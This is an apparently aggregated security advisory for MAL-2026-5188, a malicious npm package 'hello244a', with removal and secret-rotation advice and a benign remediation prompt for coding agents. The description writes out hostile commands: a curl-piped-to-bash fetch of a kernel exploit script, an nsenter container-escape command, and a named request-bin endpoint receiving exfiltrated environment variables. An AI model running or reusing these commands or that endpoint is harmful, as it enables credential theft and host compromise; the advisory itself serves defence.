# MAL-2026-5188: Malicious code in hello244a (npm)


- **Type:** Malicious package
- **Package:** `hello244a` (npm)
- **Published:** 4 Jun 2026
- **Also known as:** GHSA-fv97-hqvh-jxcm

## What is MAL-2026-5188?

MAL-2026-5188 is a malicious package in hello244a, published on 4 Jun 2026. 

### Official description

package.json declares a postinstall script that, on npm install, (1) enumerates process.env plus os.hostname(), os.platform(), os.arch(), and whoami output, base64-encodes the collected data, and issues an HTTP GET to a hardcoded pipedream request-bin at http://eodxy50gl486xrx.m.pipedream.net/, exfiltrating installer environment variables and host identity to an attacker-controlled endpoint over cleartext HTTP; (2) on Linux, executes `curl -s https://raw.githubusercontent.com/Akabe1/akabe1.github.io/master/_posts/exploits/cve-2021-22555/exploit.sh | bash`, fetching and running an unpinned third-party shell script referencing a known Linux kernel local-privilege-escalation CVE; (3) attempts container/sandbox escape via `nsenter --mount=/proc/1/ns/mnt -- /bin/sh` on Linux and `docker exec` against running containers on Windows, with results reported back to the same pipedream endpoint. Behavior fires automatically on `npm install` with no user interaction. Installer harm is concrete: environment variables (which routinely contain credentials, tokens, and CI secrets) plus host identity are leaked to the attacker, and arbitrary attacker-controlled code executes in the installer's user context with privilege-escalation and container-escape attempts.

Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.

The OpenSSF Package Analysis project identified 'hello244a' @ 1.0.12 (npm) as malicious.

It is considered malicious because:

- The package communicates with a domain associated with malicious activity.

- The package executes one or more commands associated with malicious behavior.

## What should I do about MAL-2026-5188?

Remove the package from your dependencies and lockfiles, then rotate any secrets on machines where it was installed.

## Fix prompt for AI coding agents

```text
MAL-2026-5188 is a malicious package: hello244a (npm). Every version was published to cause harm.

Task:
1. Search this repository's dependency manifests and lockfiles for the package, including transitive dependencies.
2. If it is present, remove it, regenerate the lockfile with the project's package manager, and replace whatever it was used for.
3. List any CI runners, developer machines or containers that installed it, so their secrets can be rotated.
4. If the package is not used anywhere, say so and change nothing.

Reference: https://insights.sbomify.com/MAL-2026-5188/ (Markdown: https://insights.sbomify.com/MAL-2026-5188/index.md)
```

## Sources

- OSV: https://osv.dev/vulnerability/MAL-2026-5188

---
From sbomify Insights: https://insights.sbomify.com/MAL-2026-5188/
Summaries are generated and may contain mistakes; the official description above is the record.